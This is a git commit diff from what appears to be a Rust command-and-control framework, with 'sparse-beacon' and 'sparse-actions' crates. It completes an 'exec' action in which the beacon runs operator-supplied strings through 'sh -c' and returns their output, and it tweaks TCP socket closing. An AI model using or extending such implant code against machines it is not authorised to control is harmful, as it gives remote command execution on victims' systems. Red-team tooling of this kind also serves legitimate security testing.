feat: finished exec command

sparse-actions/src/actions.rs

@@ -46,6 +46,7 @@ macro_rules! define_actions_enum {
                 }
             }
 
+            #[cfg(feature = "server")]
             fn render_empty_internal(&self) -> AnyView {
                 match self {
                     $(

sparse-actions/src/actions/exec.rs

@@ -39,9 +39,50 @@ impl super::Action for Exec {
         T: 'a + BeaconAdapter,
         S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
     {
-        println!("Execute command {}", self.exec_cmd);
+        use std::process::Stdio;
 
-        Ok("Execute".to_string())
+        use tokio::{io::AsyncReadExt, process::Command};
+
+        let mut output: Vec<String> = Vec::new();
+
+        let mut cmd = Command::new("sh")
+            .arg("-c")
+            .arg(self.exec_cmd.clone())
+            .stdout(Stdio::piped())
+            .stderr(Stdio::piped())
+            .spawn()?;
+
+        let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
+        let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
+
+        let mut stdout_buffer = [0u8; 4096];
+        let mut stderr_buffer = [0u8; 4096];
+
+        loop {
+            tokio::select! {
+                amt = stdout.read(&mut stdout_buffer) => {
+                    let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) {
+                        Ok(v) => v.to_string(),
+                        Err(_) => "(invalid UTF-8 chunk)".to_string()
+                    };
+
+                    output.push(str_out);
+                },
+                amt = stderr.read(&mut stderr_buffer) => {
+                    let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) {
+                        Ok(v) => v.to_string(),
+                        Err(_) => "(invalid UTF-8 chunk)".to_string()
+                    };
+
+                    output.push(str_out);
+                },
+                _ = cmd.wait() => {
+                    break;
+                }
+            }
+        }
+
+        Ok(output.join(""))
     }
 
     #[cfg(feature = "server")]

sparse-actions/src/error.rs

@@ -39,4 +39,6 @@ where
     Hyper(#[from] hyper::Error),
     #[error("serde json error")]
     Json(#[from] serde_json::Error),
+    #[error("could not acquire child resources")]
+    ChildExecResourceNotFound,
 }

sparse-beacon/src/tcp.rs

@@ -315,9 +315,14 @@ where
                     };
                     let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
 
+
                     if close_attempts > 0 {
                         let socket = s_guard.get_mut::<Socket>(tcp_handle);
+                        if socket.is_open() {
                             socket.close();
+                        } else {
+                            break;
+                        }
                     }
 
                     let timestamp = Instant::now();